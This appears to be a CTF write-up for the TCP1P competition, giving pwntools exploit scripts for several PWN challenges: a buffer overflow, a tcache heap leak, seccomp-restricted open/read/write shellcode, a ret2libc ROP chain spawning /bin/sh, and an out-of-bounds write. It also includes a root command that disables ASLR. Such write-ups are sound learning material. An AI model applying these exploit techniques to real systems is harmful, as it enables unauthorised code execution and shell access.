PWN:
bluffer Overflow:
provide us with c source code,just use gcc to compile and the offset to the addr we need to write was 0x14
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./chall")
io=remote("ctf.tcp1p.com",17027)
# elf=ELF("./chall")
payload=b"\x00"*0x14+p64(0x4e5750)
io.sendlineafter(b"Input: ",payload)
io.interactive()
babyheap:
when we call read_flag
, it will malloc(0x70)*7
just make sure u have spare tcachebin before u call read_flag
then u can leak flag by view
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./chall")
io=remote("ctf.tcp1p.com",4267)
elf=ELF("./chall")
def add(n,s,cc):
io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"Index: ",str(n))
io.sendlineafter(b"Size: ",str(s))
io.sendlineafter(b"Content: ",cc)
def delete(n):
io.sendlineafter(b"> ",b"2")
io.sendlineafter(b"Index: ",str(n))
def show(n):
io.sendlineafter(b"> ",b"3")
io.sendlineafter(b"Index: ",str(n))
# gdb.attach(io)
# pause()
for i in range(1,7):
add(i,0x70,b"aaa")
for i in range(1,7):
delete(i)
io.sendlineafter(b"> ",b"4")
show(2)
io.interactive()
message:
program run our shellcode with seccomp rules added
seccomp-tools dump ./chall
and we get
fk@fk-pop:~/文档/match/tcp1p/message$ seccomp-tools dump ./chall
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x000000d9 if (A != getdents64) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
which allows getdents64,open,read,write
the flag name was not flag
anymore,we need to use getdents64
to list all files in current directory
then normal orw shellcode is ok
from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./chall")
io=remote("ctf.tcp1p.com",8008)
# gdb.attach(io.pid)
# pause()
io.recvuntil(b"me? \n")
# list current directory files
# payload = asm('mov rsp,QWORD PTR fs:[0]')
# payload += asm(shellcraft.open('.'))
# payload += asm(shellcraft.getdents64(3, 'rsp', 0x500))
# payload += asm(shellcraft.write(1, 'rsp', 0x500))
# orw flag
payload=asm(shellcraft.open("flag-3462d01f8e1bcc0d8318c4ec420dd482a82bd8b650d1e43bfc4671cf9856ee90.txt"))
payload+=asm(shellcraft.read(3,'rsp',0x100))
payload+=asm(shellcraft.write(1,'rsp',0x100))
io.send(payload)
io.interactive()
gamechanger:
pie enabled,full relro
ezbypass the random number
then we have a chance to overflow,the first time we could partial write the ret addr
made it to _start
,meanwhile ,due to the printf
we could leak the base addr at the same time
the second time we enter ask
,we overflow the ret addr to puts
func,this could print the addr of __funlockfile
,which we can infer libc base according to this ,ret addr+0x8 to ask
as we got all the addr we need,then the last time we just use normal rop
I've tried ogg but it doesn't work on my local
and one thing to mention,if you just use libc_addr+libc.sym[b"system"]
as the addr of system
, you probably can't get shell at last, I guess maybe it's because stack alighment problem, so we just add 0x1b
as offset to call do_system
directly
0x7ffff7c50d7b <system+27> call do_system <do_system>
disturbing when it doesn't provide any info about the libc
however we can just leak from remote and infer
and I just use the following when debugging, it's annoying to meet the 1/16 when dealing with the aslr
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
exp:
from pwn import *
from ctypes import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./gamechanger")
# io=remote("ctf.tcp1p.com",9254)
elf=ELF("./gamechanger")
cs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc=elf.libc
io.sendlineafter(b"No): ",b"1")
io.recvuntil(b"100\n")
now = int((time.time()))
cs.srand(now)
io.sendline(str((cs.rand()+0x22)%0x17))
# gdb.attach(io)
# pause()
io.recvuntil(b"morning?\n")
payload=cyclic(0x104)+b"nmsl"+b"\x10\x51"
io.send(payload)
io.recvuntil(b"nmsl")
base_addr=u64(io.recv(6).ljust(8,b"\x00"))-0x1110
pop_rbp=base_addr+0x11e3
ret=base_addr+0x1016
read_text=base_addr+0x1060
leave_ret=base_addr+0x1358
puts_plt=base_addr+elf.plt[b"puts"]
print("base_addr: ",hex(base_addr))
##############
io.sendlineafter(b"No): ",b"1")
io.recvuntil(b"100\n")
now = int((time.time()))
cs.srand(now)
io.sendline(str((cs.rand()+0x22)%0x17))
gdb.attach(io)
pause()
io.recvuntil(b"morning?\n")
payload=cyclic(0x108)+p64(base_addr+elf.sym[b"puts"])+p64(base_addr+0x135a)
io.send(payload)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x620d0
print("leak_addr: " +hex(leak_addr))
shell=leak_addr+0xebdb3
pop_rdi=leak_addr+0x2a3e5
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]
#######
# io.sendlineafter(b"No): ",b"1")
# io.recvuntil(b"100\n")
# now = int((time.time()))
# cs.srand(now)
# io.sendline(str((cs.rand()+0x22)%0x17))
# io.recvuntil(b"morning?\n")
payload=cyclic(0x108)+p64(pop_rdi)+p64(str_sh)+p64(sys_addr+0x1b)
io.send(payload)
io.interactive()
# 0x000000000002a3e5 : pop rdi ; ret
# 0x00000000000011e3: pop rbp; ret;
# 0x0000000000001016: ret;
# 0x0000000000001358: leave; ret;
# 0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# rbp == NULL || (u16)[rbp] == NULL
# 0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
# 0xebcf5 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL
# 0xebcf8 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
# 0xebd52 execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# [rbp-0x50] == NULL || rbp-0x50 == NULL
# [r12] == NULL || r12 == NULL
# 0xebdaf execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x48 is writable
# [rbp-0x50] == NULL || rbp-0x50 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
# 0xebdb3 execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x50 is writable
# [rbp-0x50] == NULL || rbp-0x50 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
unsafe:
int-overflow to bypass the random check
no check for the minus in deposit
func
so there is OOB write , the second input in this func is to do plus or minus with the value on that addr based on the offset of the variable safes
exp:
from pwn import *
from ctypes import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./unsafe")
io=remote("ctf.tcp1p.com",1477)
elf=ELF("./unsafe")
cs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc=elf.libc
idx=((1<<31)+0x1)-1<<32
io.sendlineafter(b"age: ",str(idx))
io.sendlineafter(b"name: \n",b"\x00\x00\x00\x00")
now = int((time.time()))
cs.srand(0)
io.sendlineafter(b"password: \n",str(cs.rand()))
# gdb.attach(io)
# pause()
### make /bin/sh
io.sendlineafter(b"): \n",str(0))
io.sendlineafter(b"deposit: \n",str(0x3b6873))
### exit_message to str_sh
io.sendlineafter(b"): \n",str(0x64))
io.sendlineafter(b"deposit: \n",str(0x2058))
### puts to system
io.sendlineafter(b"): \n",b"-12")
io.sendlineafter(b"deposit: \n",str(-0x291e0))
io.interactive()
MISC:
Sanity Check:
discord server bot's sign was the flag
Guess my number:
baisc script writing with pwntools and ctypes
exp:
from pwn import *
from ctypes import *
# io=process("./guess")
io=remote("ctf.tcp1p.com",7331)
cs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
cs.srand(0x539)
key=0xcafebabe ^ (cs.rand() + 0x1467f3)
io.sendlineafter("Guess : ",str(key))
io.interactive()